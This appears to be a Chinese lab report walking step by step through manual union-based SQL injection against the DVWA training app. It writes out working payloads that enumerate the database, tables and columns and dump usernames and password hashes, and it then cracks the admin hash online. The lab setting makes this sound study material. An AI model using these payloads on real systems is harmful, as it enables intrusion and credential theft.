三、基本技能实验结果与分析: 1.将安全级别设置为low: 2.进入dvwa的SQL Injection界面: 在文本框里面输入id=1;此时在url中显示出了?id=1,数据库的信息显示到页面上了,有回显。 3. 在url中提交id=1’ 页面报错;如图 4. 将后面的语句通过#注释掉,此时页面正常显示 5. 我们可以知道漏洞参数是:id我们要进行的是 “字符型漏洞” 注入。以上信息确定好后,我们可以进行联合查询。首先使用order by字段,确定该数据表的字段数量,我们输入参数:order by 5; 6. 当order by 2 时,页面回显正常,说明字段数是2 7.结果如图: 8. 此时用union 注入,由于字段数是2,所以我们输入1’ union select 1,2 # 9. 由上图我们发现,在蓝色框内将1,2输出到页面中了,所以1和2的位置可以输入mysql语句,我们尝试在2的位置查询当前的数据库名,访问语句:?id=1’ union select 1,database()# 可以看到,在原来2的位置上将database()函数的结果,输出到了页面上。 获取到了数据库的名字,进而可以获取到表名,语句: ?id=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 可知:有两个表,分别是:guestbook,users。然后我们查看users表的内容,故接下来要查看users表的字段名。 语句:?id=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273# 注意:语句中table_name=的一串数字,是将表明进行了十六进制编码。因为我们要尽量避免过多的字符串出现在url中,所以最好将字符串进行一下十六进制的编码。 9. 以上就得到了users表中的字段名,如果我们想查看username和password可通过一下语句: ?id=1’ union select 1,group_concat(user,0x3a,password) from users# 其中,0x3a是字符":" 冒号的十六进制。 10.在得出的结果中,我们进行一下验证;我们将admin对应的密码放到cmd5中验证:https://www.cmd5.com/;验证密码 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200407135217111.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NzMwMzEx,size_16,color_FFFFFF,t_70)
|